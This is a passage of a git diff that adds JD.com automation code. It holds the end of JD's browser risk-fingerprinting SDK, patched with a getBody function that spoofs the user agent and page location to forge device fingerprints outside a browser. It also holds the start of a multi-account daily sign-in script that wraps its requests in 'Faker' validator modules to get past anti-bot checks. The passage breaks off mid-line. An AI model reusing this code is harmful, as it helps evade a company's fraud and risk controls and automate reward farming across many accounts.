RegExp("(^| )" + n + "=([^;]*)(;|$)"))) ? e[2] : "" + } + + function v() { + function n(g) { + var m = {}; + r.style.fontFamily = g; + document.body.appendChild(r); + m.height = r.offsetHeight; + m.width = r.offsetWidth; + document.body.removeChild(r); + return m + } + var e = ["monospace", "sans-serif", "serif"], + f = [], + r = document.createElement("span"); + r.style.fontSize = "72px"; + r.style.visibility = "hidden"; + r.innerHTML = "mmmmmmmmmmlli"; + for (var k = 0; k < e.length; k++) f[k] = n(e[k]); + this.checkSupportFont = function (g) { + for (var m = 0; m < f.length; m++) { + var a = n(g + "," + e[m]), + b = f[m]; + if (a.height !== b.height || a.width !== b.width) return !0 + } + return !1 + } + } + + function x(n) { + var e = {}; + e.name = n.name; + e.filename = n.filename.toLowerCase(); + e.description = n.description; + void 0 !== n.version && (e.version = n.version); + e.mimeTypes = []; + for (var f = 0; f < n.length; f++) { + var r = n[f], + k = {}; + k.description = r.description; + k.suffixes = r.suffixes; + k.type = r.type; + e.mimeTypes.push(k) + } + return e + } + this.bizId = ""; + this.bioConfig = { + type: "42", + operation: 1, + duraTime: 2, + interval: 50 + }; + this.worder = null; + this.deviceInfo = { + userAgent: "", + isJdApp: !1, + isJrApp: !1, + sdkToken: "", + fp: "", + eid: "" + }; + this.isRpTok = !1; + this.obtainLocal = function (n) { + n = "undefined" !== typeof n && n ? !0 : !1; + var e = {}; + try { + var f = document.cookie.replace(/(?:(?:^|.*;\s*)3AB9D23F7A4B3C9B\s*=\s*([^;]*).*$)|^.*$/, "$1"); + 0 !== f.length && (e.cookie = f) + } catch (k) { } + try { + window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = + window.localStorage.getItem("3AB9D23F7A4B3C9B")) + } catch (k) { } + try { + window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ + "3AB9D23F7A4B3C9B"]) + } catch (k) { } + try { + p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"]["3AB9D23F7A4B3C9B"]) + } catch (k) { } + try { + d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( + "jdgia_user_data"), e.userData = d.getAttribute("3AB9D23F7A4B3C9B")) + } catch (k) { } + try { + E.indexedDbId && (e.indexedDb = E.indexedDbId) + } catch (k) { } + try { + E.webDbId && (e.webDb = E.webDbId) + } catch (k) { } + try { + for (var r in e) + if (32 < e[r].length) { + _JdEid = e[r]; + n || (_eidFlag = !0); + break + } + } catch (k) { } + try { + ("undefined" === typeof _JdEid || 0 >= _JdEid.length) && this.db("3AB9D23F7A4B3C9B"); + if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _JdEid = u("3AB9D23F7A4B3C9B"); + if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _eidFlag = !0 + } catch (k) { } + return _JdEid + }; + var w = [], + A = + "Abadi MT Condensed Light;Adobe Fangsong Std;Adobe Hebrew;Adobe Ming Std;Agency FB;Arab;Arabic Typesetting;Arial Black;Batang;Bauhaus 93;Bell MT;Bitstream Vera Serif;Bodoni MT;Bookman Old Style;Braggadocio;Broadway;Calibri;Californian FB;Castellar;Casual;Centaur;Century Gothic;Chalkduster;Colonna MT;Copperplate Gothic Light;DejaVu LGC Sans Mono;Desdemona;DFKai-SB;Dotum;Engravers MT;Eras Bold ITC;Eurostile;FangSong;Forte;Franklin Gothic Heavy;French Script MT;Gabriola;Gigi;Gisha;Goudy Old Style;Gulim;GungSeo;Haettenschweiler;Harrington;Hiragino Sans GB;Impact;Informal Roman;KacstOne;Kino MT;Kozuka Gothic Pr6N;Lohit Gujarati;Loma;Lucida Bright;Lucida Fax;Magneto;Malgun Gothic;Matura MT Script Capitals;Menlo;MingLiU-ExtB;MoolBoran;MS PMincho;MS Reference Sans Serif;News Gothic MT;Niagara Solid;Nyala;Palace Script MT;Papyrus;Perpetua;Playbill;PMingLiU;Rachana;Rockwell;Sawasdee;Script MT Bold;Segoe Print;Showcard Gothic;SimHei;Snap ITC;TlwgMono;Tw Cen MT Condensed Extra Bold;Ubuntu;Umpush;Univers;Utopia;Vladimir Script;Wide Latin" + .split(";"), + y = + "4game;AdblockPlugin;AdobeExManCCDetect;AdobeExManDetect;Alawar NPAPI utils;Aliedit Plug-In;Alipay Security Control 3;AliSSOLogin plugin;AmazonMP3DownloaderPlugin;AOL Media Playback Plugin;AppUp;ArchiCAD;AVG SiteSafety plugin;Babylon ToolBar;Battlelog Game Launcher;BitCometAgent;Bitdefender QuickScan;BlueStacks Install Detector;CatalinaGroup Update;Citrix ICA Client;Citrix online plug-in;Citrix Receiver Plug-in;Coowon Update;DealPlyLive Update;Default Browser Helper;DivX Browser Plug-In;DivX Plus Web Player;DivX VOD Helper Plug-in;doubleTwist Web Plugin;Downloaders plugin;downloadUpdater;eMusicPlugin DLM6;ESN Launch Mozilla Plugin;ESN Sonar API;Exif Everywhere;Facebook Plugin;File Downloader Plug-in;FileLab plugin;FlyOrDie Games Plugin;Folx 3 Browser Plugin;FUZEShare;GDL Object Web Plug-in 16.00;GFACE Plugin;Ginger;Gnome Shell Integration;Google Earth Plugin;Google Earth Plug-in;Google Gears 0.5.33.0;Google Talk Effects Plugin;Google Update;Harmony Firefox Plugin;Harmony Plug-In;Heroes & Generals live;HPDetect;Html5 location provider;IE Tab plugin;iGetterScriptablePlugin;iMesh plugin;Kaspersky Password Manager;LastPass;LogMeIn Plugin 1.0.0.935;LogMeIn Plugin 1.0.0.961;Ma-Config.com plugin;Microsoft Office 2013;MinibarPlugin;Native Client;Nitro PDF Plug-In;Nokia Suite Enabler Plugin;Norton Identity Safe;npAPI Plugin;NPLastPass;NPPlayerShell;npTongbuAddin;NyxLauncher;Octoshape Streaming Services;Online Storage plug-in;Orbit Downloader;Pando Web Plugin;Parom.TV player plugin;PDF integrado do WebKit;PDF-XChange Viewer;PhotoCenterPlugin1.1.2.2;Picasa;PlayOn Plug-in;QQ2013 Firefox Plugin;QQDownload Plugin;QQMiniDL Plugin;QQMusic;RealDownloader Plugin;Roblox Launcher Plugin;RockMelt Update;Safer Update;SafeSearch;Scripting.Dictionary;SefClient Plugin;Shell.UIHelper;Silverlight Plug-In;Simple Pass;Skype Web Plugin;SumatraPDF Browser Plugin;Symantec PKI Client;Tencent FTN plug-in;Thunder DapCtrl NPAPI Plugin;TorchHelper;Unity Player;Uplay PC;VDownloader;Veetle TV Core;VLC Multimedia Plugin;Web Components;WebKit-integrierte PDF;WEBZEN Browser Extension;Wolfram Mathematica;WordCaptureX;WPI Detector 1.4;Yandex Media Plugin;Yandex PDF Viewer;YouTube Plug-in;zako" + .split(";"); + this.toJson = "object" === typeof JSON && JSON.stringify; + this.init = function () { + _fingerprint_step = 6; + t(); + _fingerprint_step = 7; + "function" !== typeof this.toJson && (this.toJson = function (n) { + var e = typeof n; + if ("undefined" === e || null === n) return "null"; + if ("number" === e || "boolean" === e) return n + ""; + if ("object" === e && n && n.constructor === Array) { + e = []; + for (var f = 0; n.length > f; f++) e.push(this.toJson(n[f])); + return "[" + (e + "]") + } + if ("object" === e) { + e = []; + for (f in n) n.hasOwnProperty(f) && e.push('"' + f + '":' + this.toJson(n[f])); + return "{" + (e + "}") + } + }); + this.sdkCollectInit() + }; + this.sdkCollectInit = function () { + try { + try { + bp_bizid && (this.bizId = bp_bizid) + } catch (f) { + this.bizId = "jsDefault" + } + var n = navigator.userAgent.toLowerCase(), + e = !n.match(/(iphone|ipad|ipod)/i) && (-1 < n.indexOf("android") || -1 < n.indexOf("adr")); + this.deviceInfo.isJdApp = -1 < n.indexOf("jdapp"); + this.deviceInfo.isJrApp = -1 < n.indexOf("jdjr"); + this.deviceInfo.userAgent = navigator.userAgent; + this.deviceInfo.isAndroid = e; + this.createWorker() + } catch (f) { } + }; + this.db = function (n, e) { + try { + _fingerprint_step = "m"; + if (window.openDatabase) { + var f = window.openDatabase("sqlite_jdtdstorage", "", "jdtdstorage", 1048576); + void 0 !== e && "" != e ? f.transaction(function (r) { + r.executeSql( + "CREATE TABLE IF NOT EXISTS cache(id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, value TEXT NOT NULL, UNIQUE (name))", + [], + function (k, g) { }, + function (k, g) { }); + r.executeSql("INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", [n, e], + function (k, g) { }, + function (k, g) { }) + }) : f.transaction(function (r) { + r.executeSql("SELECT value FROM cache WHERE name=?", [n], function (k, g) { + 1 <= g.rows.length && (_JdEid = g.rows.item(0).value) + }, function (k, g) { }) + }) + } + _fingerprint_step = "n" + } catch (r) { } + }; + this.setCookie = function (n, e) { + void 0 !== e && "" != e && (document.cookie = n + "=" + e + + "; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/; domain=" + _root_domain) + }; + this.tdencrypt = function (n) { + n = this.toJson(n); + n = encodeURIComponent(n); + var e = "", + f = 0; + do { + var r = n.charCodeAt(f++); + var k = n.charCodeAt(f++); + var g = n.charCodeAt(f++); + var m = r >> 2; + r = (r & 3) << 4 | k >> 4; + var a = (k & 15) << 2 | g >> 6; + var b = g & 63; + isNaN(k) ? a = b = 64 : isNaN(g) && (b = 64); + e = e + "23IL k; k++) C = q[k], void 0 !== screen[C] && (z[C] = screen[C]); + q = ["devicePixelRatio", "screenTop", "screenLeft"]; + l = {}; + for (k = 0; q.length > k; k++) C = q[k], void 0 !== window[C] && (l[C] = window[C]); + e.p = h; + e.w = l; + e.s = z; + e.sc = f; + e.tz = n.getTimezoneOffset(); + e.lil = w.sort().join("|"); + e.wil = ""; + f = {}; + try { + f.cookie = navigator.cookieEnabled, f.localStorage = !!window.localStorage, f.sessionStorage = !! + window.sessionStorage, f.globalStorage = !!window.globalStorage, f.indexedDB = !!window.indexedDB + } catch (D) { } + e.ss = f; + e.ts.deviceTime = n.getTime(); + e.ts.deviceEndTime = (new Date).getTime(); + return this.tdencrypt(e) + }; + this.collectSdk = function (n) { + try { + var e = this, + f = !1, + r = e.getLocal("BATQW722QTLYVCRD"); + if (null != r && void 0 != r && "" != r) try { + var k = JSON.parse(r), + g = (new Date).getTime(); + null != k && void 0 != k.t && "number" == typeof k.t && (12E5 >= g - k.t && void 0 != k.tk && + null != k.tk && "" != k.tk && k.tk.startsWith("jdd") ? (e.deviceInfo.sdkToken = k.tk, + f = !0) : void 0 != k.tk && null != k.tk && "" != k.tk && (e.deviceInfo.sdkToken = + k.tk)) + } catch (m) { } + r = !1; + e.deviceInfo.isJdApp ? (e.deviceInfo.clientVersion = navigator.userAgent.split(";")[2], (r = 0 < e.compareVersion( + e.deviceInfo.clientVersion, "7.0.2")) && !f && e.getJdSdkCacheToken(function (m) { + e.deviceInfo.sdkToken = m; + null != m && "" != m && m.startsWith("jdd") || e.getJdBioToken(n) + })) : e.deviceInfo.isJrApp && (e.deviceInfo.clientVersion = navigator.userAgent.match( + /clientVersion=([^&]*)(&|$)/)[1], (r = 0 < e.compareVersion(e.deviceInfo.clientVersion, + "4.6.0")) && !f && e.getJdJrSdkCacheToken(function (m) { + e.deviceInfo.sdkToken = m; + null != m && "" != m && m.startsWith("jdd") || e.getJdJrBioToken(n) + })); + "function" == typeof n && n(e.deviceInfo) + } catch (m) { } + }; + this.compareVersion = function (n, e) { + try { + if (n === e) return 0; + var f = n.split("."); + var r = e.split("."); + for (n = 0; n < f.length; n++) { + var k = parseInt(f[n]); + if (!r[n]) return 1; + var g = parseInt(r[n]); + if (k < g) break; + if (k > g) return 1 + } + } catch (m) { } + return -1 + }; + this.isWKWebView = function () { + return this.deviceInfo.userAgent.match(/supportJDSHWK/i) || 1 == window._is_jdsh_wkwebview ? !0 : !1 + }; + this.getErrorToken = function (n) { + try { + if (n) { + var e = (n + "").match(/"token":"(.*?)"/); + if (e && 1 < e.length) return e[1] + } + } catch (f) { } + return "" + }; + this.getJdJrBioToken = function (n) { + var e = this; + "undefined" != typeof JrBridge && null != JrBridge && "undefined" != typeof JrBridge._version && (0 > e + .compareVersion(JrBridge._version, "2.0.0") ? console.error( + "\u6865\u7248\u672c\u4f4e\u4e8e2.0\u4e0d\u652f\u6301bio") : JrBridge.callNative({ + type: e.bioConfig.type, + operation: e.bioConfig.operation, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + }, function (f) { + try { + "object" != typeof f && (f = JSON.parse(f)), e.deviceInfo.sdkToken = f.token + } catch (r) { + console.error(r) + } + null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { + tk: e.deviceInfo.sdkToken, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) + })) + }; + this.getJdJrSdkCacheToken = function (n) { + var e = this; + try { + "undefined" == typeof JrBridge || null == JrBridge || "undefined" == typeof JrBridge._version || 0 > + e.compareVersion(JrBridge._version, "2.0.0") || JrBridge.callNative({ + type: e.bioConfig.type, + operation: 5, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + }, function (f) { + var r = ""; + try { + "object" != typeof f && (f = JSON.parse(f)), r = f.token + } catch (k) { + console.error(k) + } + null != r && "" != r && "function" == typeof n && (n(r), r.startsWith("jdd") && (f = { + tk: r, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f)))) + }) + } catch (f) { } + }; + this.getJdBioToken = function (n) { + var e = this; + n = JSON.stringify({ + businessType: "bridgeBiologicalProbe", + callBackName: "_bioDeviceCb", + params: { + pin: "", + jsonData: { + type: e.bioConfig.type, + operation: e.bioConfig.operation, + data: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + }, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + } + } + }); + e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ + method: "notifyMessageToNative", + params: n + }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(n); + window._bioDeviceCb = function (f) { + try { + var r = "object" == typeof f ? f : JSON.parse(f); + if (void 0 != r && null != r && "0" != r.status) return; + null != r.data.token && void 0 != r.data.token && "" != r.data.token && (e.deviceInfo.sdkToken = + r.data.token) + } catch (k) { + f = e.getErrorToken(f), null != f && "" != f && (e.deviceInfo.sdkToken = f) + } + null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { + tk: e.deviceInfo.sdkToken, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) + } + }; + this.getJdSdkCacheToken = function (n) { + try { + var e = this, + f = JSON.stringify({ + businessType: "bridgeBiologicalProbe", + callBackName: "_bioDeviceSdkCacheCb", + params: { + pin: "", + jsonData: { + type: e.bioConfig.type, + operation: 5, + data: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + }, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + } + } + }); + e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ + method: "notifyMessageToNative", + params: f + }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(f); + window._bioDeviceSdkCacheCb = function (r) { + var k = ""; + try { + var g = "object" == typeof r ? r : JSON.parse(r); + if (void 0 != g && null != g && "0" != g.status) return; + k = g.data.token + } catch (m) { + k = e.getErrorToken(r) + } + null != k && "" != k && "function" == typeof n && (n(k), k.startsWith("jdd") && (r = { + tk: k, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(r)))) + } + } catch (r) { } + }; + this.store = function (n, e) { + try { + this.setCookie(n, e) + } catch (f) { } + try { + window.localStorage && window.localStorage.setItem(n, e) + } catch (f) { } + try { + window.sessionStorage && window.sessionStorage.setItem(n, e) + } catch (f) { } + try { + window.globalStorage && window.globalStorage[".localdomain"].setItem(n, e) + } catch (f) { } + try { + this.db(n, _JdEid) + } catch (f) { } + }; + this.getLocal = function (n) { + var e = {}, + f = null; + try { + var r = document.cookie.replace(new RegExp("(?:(?:^|.*;\\s*)" + n + "\\s*\\=\\s*([^;]*).*$)|^.*$"), + "$1"); + 0 !== r.length && (e.cookie = r) + } catch (g) { } + try { + window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = + window.localStorage.getItem(n)) + } catch (g) { } + try { + window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ + n]) + } catch (g) { } + try { + p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"][n]) + } catch (g) { } + try { + d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( + "jdgia_user_data"), e.userData = d.getAttribute(n)) + } catch (g) { } + try { + E.indexedDbId && (e.indexedDb = E.indexedDbId) + } catch (g) { } + try { + E.webDbId && (e.webDb = E.webDbId) + } catch (g) { } + try { + for (var k in e) + if (32 < e[k].length) { + f = e[k]; + break + } + } catch (g) { } + try { + if (null == f || "undefined" === typeof f || 0 >= f.length) f = u(n) + } catch (g) { } + return f + }; + this.createWorker = function () { + if (window.Worker) { + try { + var n = new Blob([ + "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" + ], { + type: "application/javascript" + }) + } catch (e) { + window.BlobBuilder = window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder, n = + new BlobBuilder, n.append( + "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" + ), n = n.getBlob() + } + try { + this.worker = new Worker(URL.createObjectURL(n)) + } catch (e) { } + } + }; + this.reportWorker = function (n, e, f, r) { + try { + null != this.worker && (this.worker.postMessage(JSON.stringify({ + url: n, + data: e, + success: !1, + async: !1 + })), this.worker.onmessage = function (k) { }) + } catch (k) { } + } +}; + +function td_collect_exe() { + _fingerprint_step = 8; + var t = td_collect.collect(); + td_collect.collectSdk(); + var u = "string" === typeof orderId ? orderId : "", + v = "undefined" !== typeof jdfp_pinenp_ext && jdfp_pinenp_ext ? 2 : 1; + u = { + pin: _jdJrTdCommonsObtainPin(v), + oid: u, + p: "https:" == document.location.protocol ? "s" : "h", + fp: risk_jd_local_fingerprint, + ctype: v, + v: "2.7.10.4", + f: "3" + }; + try { + u.o = _CurrentPageUrl, u.qs = _url_query_str + } catch (w) { } + _fingerprint_step = 9; + 0 >= _JdEid.length && (_JdEid = td_collect.obtainLocal(), 0 < _JdEid.length && (_eidFlag = !0)); + u.fc = _JdEid; + try { + u.t = jd_risk_token_id + } catch (w) { } + try { + if ("undefined" != typeof gia_fp_qd_uuid && 0 <= gia_fp_qd_uuid.length) u.qi = gia_fp_qd_uuid; + else { + var x = _JdJrRiskClientStorage.jdtdstorage_cookie("qd_uid"); + u.qi = void 0 == x ? "" : x + } + } catch (w) { } + "undefined" != typeof jd_shadow__ && 0 < jd_shadow__.length && (u.jtb = jd_shadow__); + try { + td_collect.deviceInfo && void 0 != td_collect.deviceInfo && null != td_collect.deviceInfo.sdkToken && "" != + td_collect.deviceInfo.sdkToken ? (u.stk = td_collect.deviceInfo.sdkToken, td_collect.isRpTok = !0) : + td_collect.isRpTok = !1 + } catch (w) { + td_collect.isRpTok = !1 + } + x = td_collect.tdencrypt(u); + // console.log(u) + return { a: x, d: t } +} + +function _jdJrTdCommonsObtainPin(t) { + var u = ""; + "string" === typeof jd_jr_td_risk_pin && 1 == t ? u = jd_jr_td_risk_pin : "string" === typeof pin ? u = pin : + "object" === typeof pin && "string" === typeof jd_jr_td_risk_pin && (u = jd_jr_td_risk_pin); + return u +}; + +function getBody(url = document.location.href) { + navigator.userAgent = UA + let href = url + let choose = /((https?:)\/\/([^\/]+))(.+)/.exec(url) + let [, origin, protocol, host, pathname] = choose; + document.location.href = href + document.location.origin = origin + document.location.protocol = protocol + document.location.host = host + document.location.pathname = pathname + const JF = new JdJrTdRiskFinger(); + let fp = JF.f.get(function (t) { + risk_jd_local_fingerprint = t + return t + }); + let arr = td_collect_exe() + return { fp, ...arr } +} + +JdJrTdRiskFinger.getBody = getBody; +module.exports = JdJrTdRiskFinger; \ No newline at end of file diff --git a/JD_DailyBonus.js b/JD_DailyBonus.js new file mode 100644 index 0000000..ea89541 --- /dev/null +++ b/JD_DailyBonus.js @@ -0,0 +1,1930 @@ +/* + +京东多合一签到脚本 + +更新时间: 2021.08.15 19:00 v2.1.0 +有效接口: 20+ +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +电报频道: @NobyDa +问题反馈: @NobyDa_bot +如果转载: 请注明出处 + +如需获取京东金融签到Body, 可进入"京东金融"APP (iOS), 在"首页"点击"签到"并签到一次, 返回抓包app搜索关键字 h5/m/appSign 复制请求体填入json串数据内即可 +*/ + +var Key = ''; //该参数已废弃; 仅用于下游脚本的兼容, 请使用json串数据 ↓ + +var DualKey = ''; //该参数已废弃; 仅用于下游脚本的兼容, 请使用json串数据 ↓ + +var OtherKey = ``; //无限账号Cookie json串数据, 请严格按照json格式填写, 具体格式请看以下样例: + + +var LogDetails = false; //是否开启响应日志, true则开启 + +var stop = '0'; //自定义延迟签到, 单位毫秒. 默认分批并发无延迟; 该参数接受随机或指定延迟(例: '2000'则表示延迟2秒; '2000-5000'则表示延迟最小2秒,最大5秒内的随机延迟), 如填入延迟则切换顺序签到(耗时较长), Surge用户请注意在SurgeUI界面调整脚本超时; 注: 该参数Node.js或JSbox环境下已配置数据持久化, 留空(var stop = '')即可清除. + +var DeleteCookie = false; //是否清除所有Cookie, true则开启. + +var boxdis = true; //是否开启自动禁用, false则关闭. 脚本运行崩溃时(如VPN断连), 下次运行时将自动禁用相关崩溃接口(仅部分接口启用), 崩溃时可能会误禁用正常接口. (该选项仅适用于QX,Surge,Loon) + +var ReDis = false; //是否移除所有禁用列表, true则开启. 适用于触发自动禁用后, 需要再次启用接口的情况. (该选项仅适用于QX,Surge,Loon) + +var out = 0; //接口超时退出, 用于可能发生的网络不稳定, 0则关闭. 如QX日志出现大量"JS Context timeout"后脚本中断时, 建议填写6000 + +var $nobyda = nobyda(); + +var merge = {}; + +var KEY = ''; + +const Faker = require('./JDSignValidator') +const zooFaker = require('./JDJRValidator_Pure') +let fp = '', eid = '' + +$nobyda.get = zooFaker.injectToRequest2($nobyda.get.bind($nobyda), 'channelSign') +$nobyda.post = zooFaker.injectToRequest2($nobyda.post.bind($nobyda), 'channelSign') + +async function all(cookie, jrBody) { + KEY = cookie; + merge = {}; + $nobyda.num++; + switch (stop) { + case 0: + await Promise.all([ + JingDongBean(stop), //京东京豆 + JingDongStore(stop), //京东超市 + JingRongSteel(stop, jrBody), //金融钢镚 + JingDongTurn(stop), //京东转盘 + JDFlashSale(stop), //京东闪购 + JingDongCash(stop), //京东现金红包 + JDMagicCube(stop, 2), //京东小魔方 + JingDongSubsidy(stop), //京东金贴 + JingDongGetCash(stop), //京东领现金 + JingDongShake(stop), //京东摇一摇 + JDSecKilling(stop), //京东秒杀 + // JingRongDoll(stop, 'JRDoll', '京东金融-签壹', '4D25A6F482'), + // JingRongDoll(stop, 'JRThreeDoll', '京东金融-签叁', '69F5EC743C'), + // JingRongDoll(stop, 'JRFourDoll', '京东金融-签肆', '30C4F86264'), + // JingRongDoll(stop, 'JRFiveDoll', '京东金融-签伍', '1D06AA3B0F') + ]); + await Promise.all([ + JDUserSignPre(stop, 'JDUndies', '京东商城-内衣', '4PgpL1xqPSW1sVXCJ3xopDbB1f69'), //京东内衣馆 + JDUserSignPre(stop, 'JDCard', '京东商城-卡包', '7e5fRnma6RBATV9wNrGXJwihzcD'), //京东卡包 + // JDUserSignPre(stop, 'JDCustomized', '京东商城-定制', '2BJK5RBdvc3hdddZDS1Svd5Esj3R'), //京东定制 + JDUserSignPre(stop, 'JDaccompany', '京东商城-陪伴', 'kPM3Xedz1PBiGQjY4ZYGmeVvrts'), //京东陪伴 + JDUserSignPre(stop, 'JDShoes', '京东商城-鞋靴', '4RXyb1W4Y986LJW8ToqMK14BdTD'), //京东鞋靴 + JDUserSignPre(stop, 'JDChild', '京东商城-童装', '3Af6mZNcf5m795T8dtDVfDwWVNhJ'), //京东童装馆 + JDUserSignPre(stop, 'JDBaby', '京东商城-母婴', '3BbAVGQPDd6vTyHYjmAutXrKAos6'), //京东母婴馆 + JDUserSignPre(stop, 'JD3C', '京东商城-数码', '4SWjnZSCTHPYjE5T7j35rxxuMTb6'), //京东数码电器馆 + JDUserSignPre(stop, 'JDWomen', '京东商城-女装', 'DpSh7ma8JV7QAxSE2gJNro8Q2h9'), //京东女装馆 + JDUserSignPre(stop, 'JDBook', '京东商城-图书', '3SC6rw5iBg66qrXPGmZMqFDwcyXi'), //京东图书 + // JDUserSignPre(stop, 'ReceiveJD', '京东商城-领豆', 'Ni5PUSK7fzZc4EKangHhqPuprn2'), //京东-领京豆 + JingRongDoll(stop, 'JTDouble', '京东金贴-双签', '1DF13833F7'), //京东金融 金贴双签 + // JingRongDoll(stop, 'XJDouble', '金融现金-双签', 'F68B2C3E71', '', '', '', 'xianjin') //京东金融 现金双签 + ]); + await Promise.all([ + JDUserSignPre(stop, 'JDEsports', '京东商城-电竞', 'CHdHQhA5AYDXXQN9FLt3QUAPRsB'), //京东电竞 + // JDUserSignPre(stop, 'JDClothing', '京东商城-服饰', '4RBT3H9jmgYg1k2kBnHF8NAHm7m8'), //京东服饰 + JDUserSignPre(stop, 'JDSuitcase', '京东商城-箱包', 'ZrH7gGAcEkY2gH8wXqyAPoQgk6t'), //京东箱包馆 + JDUserSignPre(stop, 'JDSchool', '京东商城-校园', '2QUxWHx5BSCNtnBDjtt5gZTq7zdZ'), //京东校园 + JDUserSignPre(stop, 'JDHealth', '京东商城-健康', 'w2oeK5yLdHqHvwef7SMMy4PL8LF'), //京东健康 + JDUserSignPre(stop, 'JDShand', '京东拍拍-二手', '3S28janPLYmtFxypu37AYAGgivfp'), //京东拍拍二手 + JDUserSignPre(stop, 'JDClean', '京东商城-清洁', '2Tjm6ay1ZbZ3v7UbriTj6kHy9dn6'), //京东清洁馆 + JDUserSignPre(stop, 'JDCare', '京东商城-个护', '2tZssTgnQsiUqhmg5ooLSHY9XSeN'), //京东个人护理馆 + JDUserSignPre(stop, 'JDJiaDian', '京东商城-家电', '3uvPyw1pwHARGgndatCXddLNUxHw'), // 京东小家电 + // JDUserSignPre(stop, 'JDJewels', '京东商城-珠宝', 'zHUHpTHNTaztSRfNBFNVZscyFZU'), //京东珠宝馆 + // JDUserSignPre(stop, 'JDMakeup', '京东商城-美妆', '2smCxzLNuam5L14zNJHYu43ovbAP'), //京东美妆馆 + JDUserSignPre(stop, 'JDVege', '京东商城-菜场', 'Wcu2LVCFMkBP3HraRvb7pgSpt64'), //京东菜场 + // JDUserSignPre(stop, 'JDLive', '京东智能-生活', 'KcfFqWvhb5hHtaQkS4SD1UU6RcQ') //京东智能生活 + JDUserSignPre(stop, 'JDStore', '京东超市', 'QPwDgLSops2bcsYqQ57hENGrjgj') //京东超市 + ]); + await JingRongDoll(stop, 'JDDouble', '金融京豆-双签', 'F68B2C3E71', '', '', '', 'jingdou'); //京东金融 京豆双签 + break; + default: + await JingDongBean(0); //京东京豆 + await JingDongStore(Wait(stop)); //京东超市 + await JingRongSteel(Wait(stop), jrBody); //金融钢镚 + await JingDongTurn(Wait(stop)); //京东转盘 + await JDFlashSale(Wait(stop)); //京东闪购 + await JingDongCash(Wait(stop)); //京东现金红包 + await JDMagicCube(Wait(stop), 2); //京东小魔方 + await JingDongGetCash(Wait(stop)); //京东领现金 + await JingDongSubsidy(Wait(stop)); //京东金贴 + await JingDongShake(Wait(stop)); //京东摇一摇 + await JDSecKilling(Wait(stop)); //京东秒杀 + // await JingRongDoll(Wait(stop), 'JRThreeDoll', '京东金融-签叁', '69F5EC743C'); + // await JingRongDoll(Wait(stop), 'JRFourDoll', '京东金融-签肆', '30C4F86264'); + // await JingRongDoll(Wait(stop), 'JRFiveDoll', '京东金融-签伍', '1D06AA3B0F'); + // await JingRongDoll(Wait(stop), 'JRDoll', '京东金融-签壹', '4D25A6F482'); + // await JingRongDoll(Wait(stop), 'XJDouble', '金融现金-双签', 'F68B2C3E71', '', '', '', 